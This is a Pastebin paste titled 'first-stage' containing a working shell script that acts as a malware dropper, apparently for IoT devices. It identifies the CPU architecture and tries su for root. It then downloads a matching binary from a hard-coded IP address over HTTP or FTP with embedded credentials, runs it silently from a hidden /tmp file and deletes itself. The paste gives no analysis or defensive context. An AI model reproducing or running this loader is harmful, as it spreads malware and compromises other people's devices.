Advertisement
Withnail_Lioness

first-stage

Jan 18th, 2019
401
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.80 KB | None | 0 0
  1. #!/bin/sh
  2.  
  3.  
  4. CMD="$(uname -m)"
  5. ID="$(id)"
  6. UNKNOWN="UNKNOWN"
  7. FILE_PATH="/tmp/.sessions-unixev"
  8. XT="0VsCfE5PwiBs"
  9. EOF="0VsCfE5EwOBF"
  10. sv="104.237.218.85"
  11. url="http://"$sv"/0"
  12. u="md"
  13. p="Lmtd1"
  14. po="404"
  15. line="\n"
  16. DEBUG=$1
  17.  
  18. silent() {
  19.   if [ "$DEBUG" = "-d" ] ; then
  20.     "$@"
  21.   else
  22.     "$@" > /dev/null 2>&1
  23.   fi
  24. }
  25.  
  26. get_su() {
  27.     case "$ID" in
  28.         *"uid=0"*) echo "ROOT" ;;
  29.         *)         su ;;
  30.     esac
  31. }
  32.  
  33. func_gi() {
  34.     case "$CMD" in
  35.         *"armv4t"*) echo "1" ;;
  36.         *"armv4"*) echo "0" ;;
  37.         *"armv5"*) echo "2" ;;
  38.         *"armv6"*) echo "3" ;;
  39.         *"m68k"*) echo "4" ;;
  40.         *"mipsel"*) echo "7" ;;
  41.         *"mips64"*) echo "6" ;;
  42.         *"mips"*) echo "5" ;;
  43.         *"powerpc"*) echo "8" ;;
  44.         *"ppc"*) echo "8" ;;
  45.         *"sh4"*) echo "9" ;;
  46.         *"sparc"*) echo "10" ;;
  47.         *"x86_64"*) echo "11" ;;
  48.         *"i586"*) echo "12" ;;
  49.         *"rlx"*) echo "5" ;;
  50.         *)         echo $UNKNOWN ;;
  51.     esac
  52. }
  53.  
  54. arm_group(){
  55.     for i in 0 1 2 3
  56.     do
  57.         if [ "$i" = "$1" ]; then
  58.             return 0
  59.         fi
  60.     done
  61.     return 1
  62. }
  63.  
  64. mips_group(){
  65.     for i in 5 6 7
  66.     do
  67.         if [ "$i" = "$1" ]; then
  68.             return 0
  69.         fi
  70.     done
  71.     return 1
  72. }
  73.  
  74. func_dae() {
  75.     for k in 0 1
  76.     do
  77.         silent echo $1/$k
  78.         for cmd in "wget" "ftpget" "ftp" "busybox wget" "busybox ftpget"
  79.         do
  80.             silent rm -f $FILE_PATH
  81.             case "$cmd" in
  82.             *"wget"*)   silent $cmd $url/$1/$k -O $FILE_PATH ;;
  83.             *"ftpget"*) silent $cmd -u $u -p $p $sv -P $po $FILE_PATH 0/$1/$k ;;
  84.             *"ftp"*)    silent echo -e "open $sv $po\n user $u $p\n binary\n get 0/$1/$k $FILE_PATH\n bye" | ftp -pnv  ;;
  85.             esac
  86.             if [ $? -eq 0 ] && [ -f "$FILE_PATH" ]; then
  87.                 break;
  88.             else
  89.                 silent rm -f $FILE_PATH
  90.             fi
  91.         done
  92.         silent chmod 777 $FILE_PATH
  93.         silent $FILE_PATH
  94.  
  95.         if [ $? -eq 0 ]; then
  96.             silent rm -f $FILE_PATH
  97.             echo $XT
  98.             return 0
  99.         else
  100.             silent rm -f $FILE_PATH
  101.         fi
  102.     done
  103.     return 1
  104. }
  105.  
  106. VALUE=$(func_gi)
  107. silent get_su
  108. if [ "$VALUE" = "$UNKNOWN" ]; then
  109.     for i in 2 0 5 7 6 1 3 4 8 9 10 11 12
  110.     do
  111.         if func_dae $i; then
  112.             break
  113.         fi
  114.     done
  115. elif arm_group $VALUE; then
  116.     for i in $VALUE 2 0 1 3
  117.     do
  118.         if func_dae $i; then
  119.             break
  120.         fi
  121.     done
  122. elif mips_group $VALUE; then
  123.     for i in $VALUE 5 7 6
  124.     do
  125.         if func_dae $i; then
  126.             break
  127.         fi
  128.     done
  129. else
  130.     for i in $VALUE 2 0 5 7 6 1 3 4 8 9 10 11 12
  131.     do
  132.         if func_dae $i; then
  133.             break
  134.         fi
  135.     done
  136. fi
  137. echo $EOF
  138. silent rm -- "$0"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement